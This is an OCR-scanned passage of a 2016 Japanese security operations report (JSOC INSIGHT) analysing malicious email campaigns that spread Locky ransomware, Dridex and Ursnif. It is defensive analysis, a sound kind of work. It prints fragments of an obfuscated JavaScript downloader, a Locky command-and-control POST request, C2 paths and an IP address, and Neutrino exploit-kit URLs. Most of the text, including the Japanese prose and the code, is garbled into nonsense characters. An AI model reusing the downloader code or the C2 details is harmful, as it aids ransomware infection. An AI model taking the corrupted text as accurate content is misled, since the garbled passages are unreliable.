THENFT, THVPAAROEHBRBHOXELTVBVIENS, —fREROLIB B (IRIRERD
BRI DD. BEHEREFOIZRFITHDN . BUA-ILT7RLAVZANARE T 20T ) —
THEEREE DI TREX-NZIXELTVDEEZSNET,
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uﬁa“-,é-??«ﬂw)‘l’ﬁﬁ'z B B 5
m [}« Users -. Desktop » support_invoice_985559 + || support_inveice_ossssonm®

=2~ SATSUICEN ~ HE - BLWI L= =~ A @
Y BEEAD = &R ’ X
B ¥ 0-F [ unpaid-9383.55 Seript 8 KB

[ T

BB fEREn - BE
-] PR, TR LERE
” Nt =B ETHEASL

% support®jsoc p

O core-shems

A—ILDZEBER

- T support_invoice_985559.zip (7 KB)

Dear support:

Thank you for your email regarding vour order of 21 June, and sorry for the delay in replying. | am
eriting Lo confirm receipt of your order, and to inform vou that the item you requested will be
delivered by 25 June at the latest. If vou require more information regarding this order, please do not
hesitale to contact me.

(a) BHRFCERENEI7ZIN

B#o7 (L OfER AN E
OO [« users -» Desktop » details_support_742114 [ 4 [ detaits_support_7

B3 SqJSUCEM~ HEv  HLLIALY— (7]
Yr BRCAD 5 N B
B ¥o20-F [E] unpaid-s29.4s 56 KB

-——— ek

ERIFIZEREN-FE
F74I)1%, BEAIZR(E
THEMNEZL

2016/06/23
Nora Steg
Payment

() 5:26
&)
son <stevenson.32255@beautifulpg

% swport®zocip
O coxwt-shaRa

F—ILDZIEEF

yE=5 T details_support_742114.zip (7 KB)

Dear support ,

Qur records show that we have not veb received paymeni for the previous order $4-742114 Could you please
send payment as soon as possible?

Please find atlached file for details.

(b) REIFEICIEREESNETFZ AN
18 FHEI7( VDI B EARE AN ZEB KO GF
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19 (C JSOC TRAEUEAREXA—ILHEHETBVILIT 7 DIERZRUET

3AN5 6 BOESTHARIRDZA(S Locky (R8I LZMRLTHD. 3 ANSE—DEEN
L TRBX - XELRII TLWSEEZABNET . ZOM, HFHRTINBIONIILIITEFII> 0
Rg 240> 0-451°, Dridex [(FFEIREOLHRLTVET.

Dridex Unknown

0.38% 707
~ /

Downloader_______———
2%

a3
5324

Locky
96%

19 JSOC TRIEVEAFABEA-IHHEEITSIVIIIFER(3 A~6 A)

ZDES1 ISOC DIEEDMIC, BREECF(FIRITRE ST A—LD, X—ILDERANE

SEQIEERERGE | BEBWEIRE, 4.2 TERHUL Ursnif ORERNAELEET 3 X— LTS
hNIEFIHNABIENTVEY . ISOC Tl Locky 1° Dirdex [C35E T 3RBA— I ERIETET
ENMED I8, TNBOIREEE Ursnif DRELZFE S BIREEL (IR O TWEEIBNET,

18 o425 M- Sv> T Bebloh IRYAS BIARE R/ — AR\ CHER
http://canon-its.jp/eset/malware_info/news/160630_2/

19 mEpgsy b A RS8N URSNIF A 2 (AR e
http://blog.trendmicro.co.jp/archives/13471
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4.3.2 ZEVERBA-NOYOTINETOYADIIT Locky ADREGI

20 (2 JSOC TRAEUVEABTA-INOIZRLET

JSOC TIFASINERL, FFFBVRXTH. XILII7(EHEETIDDT7A I HTMTIN TS X
—VeRELTVET,

=] B Financial report - svtr—< (FFAMER) ?TEH - O X
H-o

¥ sar ¥ S FETE 2 #%
X =R IR T . saE- %% B- Q
B EE 2Br W —| BB o, =R -t
== s OB powme- e b- )
Bl Vabeioid 1 BE B4 1 RE -4 ~

2016/06/29 () 20:05
Elsie Kirby <Kirby.8606@ns. NN ro>

Financial report

pC o " I freport_358650.zip (8 KB)

He ! 1o D -

I have attached the financial report you resuested.

Regards
Elsie Kirby

Technical Sales Manazer Power Generation

@ eseiy ShEmTERESSRLET. |:| *
20 JSOC TREVERIT7AINTERERA-)

ZAEULAREX-)USHRMTEN I ZIP A2t RAR FEXDI7 (V2RI 3L, 1 DEIEEDT
7AIVDEREENET . cNBSOI71/ I OIERF (AT .jsI(JavaScript J7A)L) THREEFERLTVE
ER

JavaScript 71\ ORBFEHFTALENTHED, 2B HICHIF I D ELFRE#ETT, K 21-(a)
P 21-(b)DLSCEHFALD/ - FEEFELEITH. INBEVWINEEITISENIIIIV DL
Y —)INC7IEAU. Locky EDVILIIPADRERZITOILIICEEIRENTVET,
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'szﬂhﬂ]s AEE =N =R ==
Tr-ILF) B|EE) SF(0) T|RENV) ~LFH)

A#lcc_on E

var ank|fzJj = [05]7, e, 0500, (10, Bl O SO0 CALT, 88T, T )
Yo' ¥R Y IR LT TR T TR, THO, I, e TS T T T T T (R, TR el
NP VAR TN o R} G VAN E o - S § A~ A WY AR G SN, D T e
utt er’, DT T, TOCT,L T e i Ten” T L T, 3T S T T e et ),
B P A S O T (| s A - T TR - R (1Y i
B - - o3 e R O e ) S 0 T~ R
¥n'L Y LT T T T TN =T e L, T, 47 el TS, TS,
P L S £ B e ) A L G S NP VIS T A T G I WA
ﬂ,,,oi,,,tc,,,ﬂu,,,WC(,,’[S,,,SS,,, ,s, ,,,¥ﬂ¥r’,,;),,,ﬁl,,,+,,,1,,,t><’,,+,,,),,,)
e e U R e e D e e e e
P e e e e e S e e ey e e ey e
1 g a T e S TS e e o R e e T el
RSAREE- TRt A AR TR S AL R P AR S
Tz CET T Rt o)t et Tl T TR T e T T, Y a0 e, Tt
Ter’, TWEYRT, YR Yy )T D, 1A, 00, W L TLR =1 Tl TR T T, YN
ETARE L Rt Tl R P S e | W o Ee V] (ol R | S ¢ 1 I SR R
(gt TR g ol n T R s T RS S s R
o NT' L UL Tan it ST TR Teu, e T T LR TR e L T T TER T,
TLRTLENTL =T A, AL, UL T T TR Y L e, T e T TR T, TR, BT,
TH=, Tdm, AL UL T YR, T T, 08T T2 O T LUBRTTTH T T T Y
o e T T e R T e e e e
ST, AR VA= s e A S Sy e | ST V) ST -V ) R
3GDELTE e it Ten T L e RT T L e ST NGT LT LTI,
0T, AT 0, T, e TSTTLTGTT e ey T T et TR, T, ,/’,’* LN,
L P |- RV I A s M | S r’,’av’,’¥t¥n ,’¥r;,,’ o’
T S [ G R I A S ¥r¥t n

(a) L (A EZ T [6))

| PICD00030762855.]s - ATEHR =0 =N 5|
J7-(ILF) #|EE) ST(0) F|R(V) ~ILTF(H)
var derogatory [-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,- =
1,-1,- -1.-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,62,-1,-1, -
1,63,52 53 h4,55,56,57,58,59,60,61,-1,-1,-1,-1,-1,-1,-
1,0,1,2,3,4,5,8 ,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,-1,-1,-1,-1,-1, -
1,26,27,28,29,30, 31,32,33,34,35,38,3?,38,3§,40,41,42,43,44 45 46 47 48 49 5U 51 1 -1, -
1.-1,-1%;sardinia=[ ;var tommy={ : L5381 },compulsory Oifunction a(h) [return |z
12=b%2: 171 funct ion insubordinat ion(b) fweeks=hb forivar ¢ in tommyJweeks=weeks. replace

(c,tommy[c]); return weekslvar assisments=1;funct ion Point(b,c) [this.x= | |0;this.v= c||0}
Point.create=function(b,c) {return isﬁrray(b)?new Point(b[U],b[1]):iSObJect(b)?new Point
b.x,b.v)inew Point(b,cll;Point . add=function(b, c){return new Point (b.xtc.x, by

+C. y)} Point.subt ract= funct|on(b clreturn new Point(b.x Ly

covlls Point.scales functionl(hb,c, d){ISObJeCt(C)o(d c.v,C7C. x) |SNumber(d)||(d clireturn new
P0|nt(b wke,b.yvkd) 1 iPoint . equals function(b, c){return

b.x==c.xdéb.v==c.v];Point.anzle= functlon(b){return Math.atan? (b.v,b.x)1;

Strine.prototype, insubordinat iond= funct ion() {var b,c.d,e,f,z=this. replace
(/disabilitv/e,” ),e 2. length;d=0;for(f="";d<e; ) {do b=derozatorvle.charCodeht (d++)

8255 Jrwhi le(d<edé-122h); if (-12=b)break;do c=derozatoryle. charCodedt (8255 ] whi le
(d<e&&-1=:c);if(-1==c)break;f+=8tring.fromCharCode(b<<2|(c&48)>>4);do{b=g.charCodeAt(d++)
5255 1 f(B1==b) return f'b=derogatory[b]}whi|e(d<e&&-1==b)'if(-1==b)break'f

+=5tring. f romCharCode( (ch1 5)<<4| b&80)>>2) dolc=e.charCodeft (d++)8255; if (B1==c)returm
ficaderogatory[clinhile(d<ekd-1==c); if (- 1220 break; f+=5t rine. fromCharCode((b&3)<<8Ic)}
return f1;var economic= dlsabl|ItyJlesabl||tyRFTlesab|||tyA| insubordinat iond
(é)§0|nt interpolate=funct ion(b, c.d) [return new Point (b.x+(c. x-b.x)%d, b.y+(c.y-b.y)
*d)ivar

madress="dizabi | itvldisabi | ityNlakZdisabil ity IWE9iadisabilitymVjdA=dizability=". insubordi
mat iond ()5t rins. prototype. insubordinat ion2=function(} {return this

L c3V|c3RyaW5n insubordinat iond () 1{compul sory, assizrments) } ;v

middleclass= d|sab|||tyRthYW5d|sab|||tykRW52aXd|sab|||tvabm1|bnRTdHJd|sab||Itypbmdz .ins

(b) #E)(Y—-2H1
21 #5bEniz JavaScript 771
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BCASNIZBSHAICIDBETTRAMIERDE TN, #Fr{bSNIz JavaScript 7 (I 2R1TI 3L
T Locky (TR, BPimR (IR 22 (RF &5 POST @5z C2 —/)WETVE T,

POST /upload/_dispatch.php HTTP/1.1

Accept: */*

Accept-language: en-us

Referer: http:,"_/upload,"

x-requested-with: XMLHttpRequest

Content-Type: application/x-www-form-urlencoded

Accept-Encoding: gzip, deflate

Cache-Control: no-cache

User-Agent: Mozilla/4.® (compatible; MSIE 7.8; Windows NT 6.1; Trident/7.8;
SLCC2; .MET CLR 2.0.58727; .NET CLR 3.5.36729; .NET CLR 3.0.38729; Media
Center PC 6.8; InfoPath.3)

Host: [N

Content-Length: 863

Connection: Keep-Alive

1BbHDBv=TXABXE@XCDUF%E3 I%DCwk90%DEqREIAXATHF 3XIFXF DXECKSIxX18%5EXD2s
%29%FOXBO VX7 EINCAXOAIX2BHAB+REAXAA I&ZVLA=%14%7 EXDEXBBGOXDARABR ] FRACK1BXIBXFA
%CD%DB%B V%98 LHE1%96%D8%5E 1539 FEDB%C9%D5%0 SHIAKAEKC BXEEXBEXCDEIFXBAXFBHRCCHDBY
%B2H%E1%DCHDTAKMZW=SFB1¥BCHA6%DBXABMCEX26%5D%06%00%0 7% C8%28%PE2%83G
HET%18XD2%ES+ % TEXFBXFBriuCFtX2BXEDXAIX60%CEXBDXF5%27%3C%240&8b0IHNUg=45CHABK2A
%25%BEFSTHBEX92 X1 BRAFOX26XDDXOT7X99%90% 1 EXF1X5CRBORF 1X84XCCH22%CTRFAREOEC
%86XDFXE6gXRA%5BX21%D1%82%B9%B 1eXAEXE8dX01&S EmE=%0CHF1K%COXBI TXE 3MXCO%BIXED%2C
%CCHCAXSBHI2%XE6%I20%0 7% 2 2% 21 HEEXFCHFDXF2%84%C 7 qC%1 3 IXAEFXEIXFDRICHIFVESF
%2F8xGDgZ=e-%C1i%086_ %7EX2T7XBANA3KOCHB1HOAXIAXF1%0 8% FAROGNKA=2IEHASEC2%24%DD
%18%BFXOFADR] FXBA%CD%25%3BH%0 9% 2A%ACKI1 %D 7 H#BAXACKE 2K5%97%8CHDBXO2%B2%BIPHAEW
#9D1%828TX] Sw=R92%CBRE9%2TbXFFdR . %00_XAEX94%21T%16XA2XARK2 FXDAXEARALX10%CD
%BAXF2f8X9BXF7RDIKXO8aXA0XTB&FFFVRgVX=X84%96%CBX13HTTP/1.1 208 OK

Server: nginx

Date: Thu, 3@ Jun 2016 @1:32:22 GMT

Content-Type: application/octet-stream

Content-Length: 3@1

Connection: keep-alive

SrE# M. .. ... ) - TR SR - 1 G £.2.p wL.$.".. ... f1..Vn. .U
......... 38| e | HOJZR.FL | 2 i HP AR
Lo.s.]..A....x!& . .v....}lh..U.....8g.2.5.5<...5..UC.f....c..H.1."2D.~. .

22 Locky BREFICRETS POST HEE

Locky (CRERUIBSHRICED. | 12 OLICREGIF(CFATS POST IBED URL HAERDFET,
C2 =)D IP 7RL AR RA ATBHOLICEFHEINEI A, POST @IS0 URL (ZE—TH2HAM
MRV, Proxy OJRETZHI2BEFROMER®, AIgETHNE URL JILAIIYINIT
I 2BETERT I DL ZHENIDLET

& 12 Locky RBRREFHAICES POST BEDIEL

Locky REiD POST &S JSOC TO#RAIEFHA

/main.php 2016/2/19 ~ 2016/3/25

/submit.php 2016/3/28 ~ 2016/4/1

Juserinfo.php 2016/4/27 ~ 2016/5/30
/upload/_dispatch.php 2016/5/31 ~
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f
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10:32
2016/06/30 |

< [

23 Locky BRBFDT AJ MBI

24 (T Locky BeREFCRES(LSNI 7V e ~UE T,
Locky (U TRESIEENZI71)UE. B 24-(2)DEICTH LR FE @A EDET T4
WA locky JEWHTERFICEEHRZTOELN, 2016 £ 6 A 28 HORFACRELIA-ILIL
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Copyright© 2016 LAC Co., Ltd. All Rights Reserved. JSOC INSIGHT vol.13 32



o[ E ]

OO [E» 5AT50 » FFax>t - [4 ][ Pz rons r
22~ [ HE< H#HE- BFAOUTEETD HLLIALST— =+ Al @

X
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Outlook J7 )L

BB B HrX
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2016/02/27 20:31 7L T ).
2016/06/28 11:04 7~ Il ).

=Rl HELP_instructions.html 2016/06/26 11:04 HTML RF1t... 11
B A55B68E70E8B30Dflocky | 2016/06/28 11:04  LOCKY T7 L 1
S ASSSFBEFBOBGCASH.locky | 2016/06/28 11:04 LOCKY J7 1)L 5
B et pn7OAE7EF4610A] locky | 2016/06/28 11:04  LOCKY T7 )L 13

L 15c17ACBacsAEas] locky | 2018/06/28 11:04  LOCKY Z7 1L 1,035
& =a-Fes 24C3AF994B80ABAY locky | 2016/06/28 11:04 LOCKY J7 1)L 9
37823DBCF51DA1H) 2016/06/28 11:04  LOCKY J7-TJl 3,228
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FIz. Locky NDREZHRER(IE. REX=INOFMI TP IAZERIEIITERK B 26 OLSIC Exploit
Kit D—2T#% Neutrino Exploit Kit #ZETRE T 3EHMERLTVET.

# Result Protocol Reques... Host URL Body Content-Type Comments

€¥a1 200 HTTP GET qffow. thunio.xyz  fmountfeHpydHplza 622 textfhtml Neutrino EK Landing

54 200 HTTP GET qffow. thunio.xyz  fmonsterfpunch-rush-side-31759451.swf 87,858 applicationfx-shockwave-flash  Flash Exploit Code

¥ 76 200 HTTP GET qffow. tkunio.xyz  fcorp/1379043fwitness-steward-curve-specimen 31 textfhiml

E a0 200 HTTP GET gffow. thunio.xyz  jmessenger fsideway-31045841 240,130 application octet-stream Malware Download
B92 200 HTTP POST 149.154.159.125 [upload/_dispatch.php 480 application/octet-stream  Locky POST Infection
=93 200 HTTP POST 149.154.159.125 Jupload/_dispatch.php 1,561 application/octet-stream  Locky POST Infection
=94 200 HTTP POST 149.154.159.125 jupload/_dispatch.php 10,345 application/octet-stream  Locky POST Infection
=95 200 HTTP  POST 149.154.159.125 Jupload/_dispatch.php 173 application/octet-stream  Locky POST Infection

26 Neutrino Exploit Kit #Z2H® Locky ZFDi@{S(2016 ££ 6 A 29 BEA)

4.3.3 AREA-WISHT IR

Ursnif 35> A1 7 (CRREREIESAEA—IUE 7 BUIEEHEEL TOBIzdH. LUTFOLEED
MEERDET,

O B IO TOBR X =)L DIZE . XKAETA—IVT RUARIXE LA -IT RLA . X=ILDOAK
XL AER RIS IHEPE D (CAREREDTHNE. M T71 V2B

O ETERCT7A 2RI 2IBE0H2 2. 1> M—ILRILOTAINS —H 7’/3/0);9?73‘5
[BFREIN TVRIEERFERRULABWVWIOF 19I5 U MRk FEZRoRL THESR T

O WMIT7AIVERGEE . RAATPAIVAOIT7A )V OIRRFH S THERL. r]SJ77”f LYol exel
REDTOI I LNETEINZLOBRER THDIBEE. EITIZRICRITOEER I IVCEFHUL
E7FIANAYVINTHERR T2

O 3MII7ARI04ZE Office RF1XD MCHDIHE. YIOZEINICL TRF 1A MR
(XUDZBNCITIRNENDDIZEE. BRICTFIMIVAVINTAF>TB)

20| oeky 5> LA Nuclear Exploit Kit (Nuclear EK) [2&D4>Zh—Lan3

https://www.paloaltonetworks.jp/company/in-the-news/2016/160322-locky-ransomware-installed-through
-nuclear-ek.html
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